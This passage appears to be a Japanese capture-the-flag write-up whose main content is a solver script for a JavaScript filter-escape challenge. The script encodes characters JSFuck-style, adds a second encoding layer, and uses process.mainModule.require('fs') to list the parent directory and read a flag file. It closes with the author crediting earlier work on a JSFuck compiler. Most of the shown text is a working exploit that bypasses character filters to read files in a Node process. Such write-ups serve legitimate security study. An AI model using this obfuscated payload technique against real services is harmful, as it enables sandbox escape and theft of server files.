"c": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]",
"d": "[[][[]]+[]][+[]][+!![]+!![]]",
"e": "[![]+[]][+[]][+!![]+!![]+!![]+!![]]",
"f": "[![]+[]][+[]][+[]]",
"F": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]][+[]][+!![]+[!![]+!![]+!![]]]",
"g": "[[[]+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
"i": "[[][[]]+[]][+[]][+!![]+!![]+!![]+!![]+!![]]",
"l": "[![]+[]][+[]][+!![]+!![]]",
"m": "[[+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
"N": "[+[![]]+[]][+[]][+[]]",
"n": "[[][[]]+[]][+[]][+!![]]",
"o": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]",
"r": "[!![]+[]][+[]][+!![]]",
"S": "[[[]+[]][+[]][[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[[][[]]+[]][+[]][+!![]]+[![]+[]][+[]][+!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!![]]+[!![]+[]][+[]][+!![]+!![]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]]+[!![]+[]][+[]][+[]]+[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]]+[!![]+[]][+[]][+!![]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
"s": "[![]+[]][+[]][+!![]+!![]+!![]]",
"t": "[!![]+[]][+[]][+[]]",
"u": "[!![]+[]][+[]][+!![]+!![]]",
" ": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
"(": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
")": "[[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]+[]][+[]][!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]",
"{": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][+!![]+[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]]",
"}": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][!![]+!![]+!![]+[!![]+!![]+!![]+!![]]]",
"[": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][!![]+!![]+[+[]]]",
"]": "[!![]+[][[![]+[]][+[]][+!![]]+[!![]+[]][+[]][+[]]]][+[]][!![]+!![]+!![]+[!![]+!![]]]",
"0": "[+[]]+[]",
"1": "[+!![]]+[]",
"2": "[!![]+!![]]+[]",
"3": "[!![]+!![]+!![]]+[]",
"4": "[!![]+!![]+!![]+!![]]+[]",
"5": "[!![]+!![]+!![]+!![]+!![]]+[]",
"6": "[!![]+!![]+!![]+!![]+!![]+!![]]+[]",
"7": "[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[]",
"8": "[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[]",
"9": "[!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]]+[]",
".": "[+[[+!![]]+[]+[+!![]]+[]+[![]+[]][+[]][+!![]+!![]+!![]+!![]]+[+!![]]+[]+[+[]]+[]+[+[]]+[]][+[]]+[]][+[]][+!![]]",
"+": "[+[[+!![]]+[]+[+!![]]+[]+[![]+[]][+[]][+!![]+!![]+!![]+!![]]+[+!![]]+[]+[+[]]+[]+[+[]]+[]][+[]]+[]][+[]][!![]+!![]+!![]+!![]]"
}
function createWord(str) {
const notfound = str.split('').find(c => !(c in letters));
if(notfound) {
console.log(notfound + " not found");
return ""
}
return str.split('').map(c => letters[c]).join("+")
}
function createNumber(n) {
return Array.from({length: n}, _ => "!![]").join("+")
}
function base36str(str) {
return `((${parseInt(str, 36)}).toString(36))`
}
const mainModuleIdx = 73 // 78 in local
const l2 = {
"F": "([]+[].at.constructor)[9]",
"S": "(([]+[]).constructor+[])[9]",
"O": "(({}).constructor+[])[9]",
" ": "([].at+[])[8]",
"(": "([]+[].at)[11]",
")": "([]+[].at)[12]",
"{": "([]+[].at)[14]",
"}": "([]+[].at)[30]",
"[": "([]+[].at)[16]",
"]": "([]+[].at)[28]",
".": "(.1+[])[1]",
"+": "(1e100+[])[2]",
"-": "(.0000001+[])[2]",
"/":`Object.values(Object.values(process)[${mainModuleIdx}].constructor)[9](${base36str('fs')}).readFileSync(${base36str('run')}).toString()[2]`
}
function parseCodeL2(s) {
let i = 0;
let res = ""
while (i < s.length) {
if (/[a-z0]/.test(s[i])) {
let j = i+1;
while (j < s.length && /[a-z]/.test(s[j]) && j-i < 10) j++;
res += `(${parseInt(s.slice(i, j), 36)}).toString(36)`;
i = j;
} else if (/[1-9]/.test(s[i])) {
let j = i;
while (j < s.length && /[0-9]/.test(s[j])) j++;
res += `(${s.slice(i, j)}+[])`;
i = j;
} else {
res += l2[s[i]] || s[i];
i++;
}
res += "+"
}
return res.slice(0,-1);
}
// Object.keys(process)からprocess.mainModuleのindex入手
// const p = `console.log(Object.keys(process))`;
// ../のファイルの一覧
// const p = `console.log(Object.values(process)[${mainModuleIdx}][${base36str('require')}](${base36str('fs')}).readdirSync(${l2['.']}+${l2['.']}))`;
// flag-cbfb819e49234834fccf32ca9cd32e85.txt を入手
const p = `console.log(Object.values(process)[${mainModuleIdx}][${base36str('require')}](${base36str('fs')}).readFileSync(${l2['.']}+${l2['.']}+${l2['/']}+${base36str('flag')}+${l2['-']}+${base36str('cbfb819e')}+${base36str('49234834')}+${base36str('fccf32ca')}+${base36str('9cd32e85')}+${l2['.']}+${base36str('txt')}).toString())`;
const layer2 = `Function(${parseCodeL2(p)})()`
const t = `[][${createWord("at")}][${createWord("constructor")}](${createWord(layer2)})`
console.log(t)
前に自分でJSFuckコンパイラ作った経験が生きました。
Discussion